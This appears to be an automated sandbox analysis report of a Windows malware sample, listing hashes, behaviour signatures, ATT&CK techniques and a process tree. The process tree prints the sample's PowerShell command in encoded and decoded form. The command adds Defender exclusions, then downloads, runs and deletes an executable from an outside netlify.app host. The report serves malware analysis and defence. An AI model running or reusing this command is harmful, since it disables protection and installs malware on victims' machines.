a1c5e4a0ff974a5a52a340598eb6d8c90ae3a0b1dd5c4e7caad9d6d885da069c

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/07/2026, 01:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe
Size 94KB
Sample260720-b8brfaev5w
SHA256 a1c5e4a0ff974a5a52a340598eb6d8c90ae3a0b1dd5c4e7caad9d6d885da069c
MD5 195396c91f69f59ea208b9d900b01ca4
SHA1 542d4945565da735b1156a0ed34f40ae837eebc7
SHA512 a3f348c80d0fe0b74305b6b71cb55d4e452e4f92f539b4ac71022c43774afe12b18edc04f9e0fdbbd69fc58b80bee22f06f6bcc1068173a846a778649b657adc
SSDEEP 1536:fTVLqf9QF31Wq2DjtjbzVa4BDMS5JbtQa+p5HaEZSMXe9vV/BXBIJKEtN7N:f5LqG+q2DRbp7Ip0CSrgP7N
TLSH
T18A933B86FF4AE9FBCA0B11318C7B432C1214DACA17C565175D2BA2390E674A0DE5BBC7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	2248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2100	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe
2248	powershell.exe
2248	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2100	1524	2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe	88
PID 2100 wrote to memory of 3940	2100	cmd.exe	89
PID 3940 wrote to memory of 2248	3940	powershell.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACIAIABoAHQAdABwAHMAOgAvAC8AZwByAGEAYwBlAGYAdQBsAC0AcwBwAGUAYwB1AGwAbwBvAHMALQBmADQANQA4ADAAOQAuAG4AZQB0AGwAaQBmAHkALgBhAHAAcAAvAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB5AHMAdABlAG0AMwAyAC4AZQB4AGUAIAA7ACAAUwBUAEEAUgBUAC0AUwBMAEUARQBQACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAIAA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAALwBzAHkAcwB0AGUAbQAzADIALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACIAIABoAHQAdABwAHMAOgAvAC8AZwByAGEAYwBlAGYAdQBsAC0AcwBwAGUAYwB1AGwAbwBvAHMALQBmADQANQA4ADAAOQAuAG4AZQB0AGwAaQBmAHkALgBhAHAAcAAvAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB5AHMAdABlAG0AMwAyAC4AZQB4AGUAIAA7ACAAUwBUAEEAUgBUAC0AUwBMAEUARQBQACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAIAA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAALwBzAHkAcwB0AGUAbQAzADIALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\system32.exe" https://graceful-speculoos-f45809.netlify.app/system32.exe ; START $env:TEMP\system32.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/system32.exe
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 089e1778d0375ca5c223c270176bd67975dbef8c1b55d526b864b80a9621443d
MD5 69fa48c66dc9be3978f3d06511a01834
SHA1 96564f92fa1ffd65b2f160249dfa52196d92efc7
SHA512 0def79e112bd9e643e1c3e87ea68300d7343257c655b09465d99bdeb26d59fa80bda3d0e8ac031b4a7f91d63b40ec622445055dc94f8b59e523520a9f913bcda
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_j0p0bgji.jos.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0p0bgji.jos.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1524-13-0x00007FF73B850000-0x00007FF73B873000-memory.dmp

Download

memory/2248-16-0x00000193D9AA0000-0x00000193D9AB0000-memory.dmp

Download

memory/2248-15-0x00000193D9AA0000-0x00000193D9AB0000-memory.dmp

Download

memory/3940-0-0x0000027E25920000-0x0000027E25930000-memory.dmp

Download

memory/3940-1-0x0000027E25920000-0x0000027E25930000-memory.dmp

Download

memory/3940-9-0x0000027E258B0000-0x0000027E258D2000-memory.dmp

Download

memory/3940-12-0x0000027E27BE0000-0x0000027E27D2E000-memory.dmp

Download